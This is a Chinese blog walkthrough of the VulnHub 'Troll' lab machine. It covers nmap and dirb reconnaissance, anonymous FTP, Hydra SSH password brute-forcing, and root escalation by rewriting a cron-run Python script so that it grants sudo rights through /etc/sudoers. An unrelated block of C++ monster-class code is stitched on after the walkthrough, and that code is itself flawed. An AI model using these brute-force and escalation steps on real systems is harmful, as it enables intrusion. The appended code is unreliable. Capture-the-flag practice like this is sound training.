Troll打靶思路详解(vulnhub)

Troll打靶思路详解(vulnhub)

第一步:信息收集–主机发现和端口扫描

使用nmap快速对局域网进行扫描来确定靶机IP

nmap -sn 192.168.31.0/24 

确定靶机IP为192.168.31.69

再次使用nmap对靶机IP进行详细扫描

nmap -p- -sV -sT -O 192.168.31.69

结果如下

在这里插入图片描述

可以看到靶机开放了21,22,80这3个端口

首先对80端口所开放的web服务进行信息收集

查看web服务访问http://192.168.31.69/

在这里插入图片描述

通过dirb进行目录扫描

dirb http://192.168.31.69/ 

结果如下

在这里插入图片描述

访问http://192.168.31.69/secret/index.html

在这里插入图片描述

感觉又被嘲讽了

然后对21端口所开放的ftp服务进行信息收集

通过ftp 192.168.31.69命令来访问

我尝试使用root用户进行登入结果如下

在这里插入图片描述

可以看到仅支持anonymous(匿名用户)进行登入

所以我们通过用户名为anonymous密码为空进行登入

然后通过ls命令来查看里面的内容

在这里插入图片描述

最后对22端口所开放的ssh服务进行信息收集

使用Hydra进行弱口令爆破

hydra -L user.txt -P CommonWebAdminPass.txt -t 2 -vV -e ns 192.168.31.69 ssh

通过结果发现短时间内只能尝试3个账号的登录

第二步:数据分析–对FTP中的数据包进行分析

首先我们将数据包文件下载下来

get lol.pcap

在这里插入图片描述

然后我们通过wireshark打开lol.pcap文件可以看出为ftp的传输报文

通过 strings lol.pcap 来搜索文件里所包含的字符串

在这里插入图片描述

重点为

Well, well, well, aren't you just a clever little devil, you almost found the sup3rs3cr3tdirlol :-P
Sucks, you were so close... gotta TRY HARDER!

翻译:
好吧,好吧,好吧,你不就是一个聪明的小恶魔吗,你差点找到了 sup3rs3cr3tdirlol :-P
糟透了,你离得太近了......必须更加努力!

可以看到”sup3rs3cr3tdirlol :-P“是无法翻译的

第三步:WEB渗透–获取关于账号密码的信息

我们现在有ssh服务和web服务没有找到突破点,这个字符串不像用户名密码

所以我尝试访问http://192.168.31.69/sup3rs3cr3tdirlol

在这里插入图片描述

我们通过wget命令下载下来

wget http://192.168.31.69/sup3rs3cr3tdirlol/roflmao

还是通过strings命令来找文件中包含的字符串

strings roflmao

在这里插入图片描述

反复查看后感觉重点为

Find address 0x0856BF to proceed

翻译:
查找地址0x0856BF以继续

所以我们访问http://192.168.31.69/0x0856BF/

在这里插入图片描述

然后我们通过wget命令分别将其中内容下载下来

wget http://192.168.31.69/0x0856BF/good_luck/which_one_lol.txt

wget http://192.168.31.69/0x0856BF/this_folder_contains_the_password/Pass.txt

查看

在这里插入图片描述

第四步:后渗透–SSH登入与提权

ssh登入

刚刚我们信息收集已知短时间内只能尝试3个账号的登录

所以我们将用户名分为多个文件,每个文件分别有3个用户名

然后使用Hydra进行爆破

hydra -L user1.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

hydra -L user2.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

hydra -L user3.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

hydra -L user4.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

结果发现没有一个用户名能够使用密码“Good_job_😃”登录

可能Pass.txt文件名本身就是密码

因此我们再尝试用Pass.txt作为密码进行爆破

hydra -L user4.txt -P Pass.txt -t 2 -vV -e ns 192.168.31.69 ssh

在这里插入图片描述

可知账号为overflow 密码为Pass.txt

登入:ssh overflow@192.168.31.69 

增加shell的交互性:python -c "import pty;pty.spawn('/bin/bash')"

提权

查看当前用户的权限:sudo -l

在这里插入图片描述

发现突然被踢出了会话,猜测是有定时任务

查看:cat /etc/crontab

在这里插入图片描述

权限不被允许,无法查看。那就使用find命令查找定时任务相关的日志cronlog

find / -name cronlog 2>/dev/null

在这里插入图片描述

找到了查看文件

cat /var/log/cronlog

在这里插入图片描述

关键信息来了!这里有一个定时任务,会每两分钟运行一个名为cleaner.py的文件。我们搜索cleaner.py文件

find / -name cleaner.py 2>/dev/null

在这里插入图片描述

找到了查看文件

cat /lib/log/cleaner.py

在这里插入图片描述

这个文件通过os.system函数执行系统命令,对目录/tmp的删除,那么我们只要把os.system()中的参数修改为:

echo "overflow ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers

我们通过vim进行编辑更改,再通过”:wq!"保存退出

在这里插入图片描述

等待最多两分钟后,再次运行sudo -l,即可发现overflow的用户变为了最高权限:

在这里插入图片描述

然后运行sudo /bin/bash即可拿到root的bash:

在这里插入图片描述

进入/root目录拿flag:

在这里插入图片描述

至此完结,撒花。

  • 37
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,根据你的要求,我来为你实现怪物类Monster。 首先,我们可以定义一个Monster类,包含hitpoint、damage、defense和attack等成员变量和函数。其中,attack函数可以用虚函数来定义,以便在派生类中实现不同的攻击方式。 ```c++ class Monster { public: Monster(int hp, int dmg, int def) : hitpoint(hp), damage(dmg), defense(def) {} virtual void attack(Monster& enemy) {} void fight(Monster& enemy) { while (hitpoint > 0 && enemy.hitpoint > 0) { attack(enemy); if (enemy.hitpoint <= 0) break; enemy.attack(*this); } } private: int hitpoint; int damage; int defense; }; ``` 在这里,我们定义了一个Monster类,它有三个私有成员变量:hitpoint、damage和defense,表示怪物的生命值、攻击力和防御力。另外,我们定义了一个不带virtual修饰的成员函数fight,用来描述与另一个怪物进行战斗的过程。在fight函数中,我们通过调用attack函数来模拟战斗,直到其中一个怪物的生命值降为0。 接下来,我们可以派生出一些具体的怪物类,并实现它们的攻击方式,例如: ```c++ class Goblin : public Monster { public: Goblin() : Monster(50, 10, 5) {} void attack(Monster& enemy) { int damage = this->damage - enemy.defense; if (damage > 0) { enemy.hitpoint -= damage; } } }; class Troll : public Monster { public: Troll() : Monster(100, 20, 10) {} void attack(Monster& enemy) { int damage = this->damage - enemy.defense; if (damage > 0) { enemy.hitpoint -= damage; this->hitpoint += damage / 2; // Troll can heal itself } } }; ``` 在这里,我们派生出了Goblin和Troll两个具体的怪物类,并实现了它们各自的攻击方式。Goblin的攻击方式是直接减去敌人的防御力,并造成相应的伤害;而Troll的攻击方式除了减去敌人的防御力外,还会使自己恢复一部分生命值。 最后,我们可以使用这些怪物类来进行战斗,例如: ```c++ int main() { Goblin goblin; Troll troll; goblin.fight(troll); return 0; } ``` 在这个例子中,我们创建了一个Goblin对象和一个Troll对象,并让它们进行战斗。由于我们在Monster类中定义了通用的战斗方式,因此我们可以直接调用fight函数进行战斗,而不用考虑具体的攻击方式。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值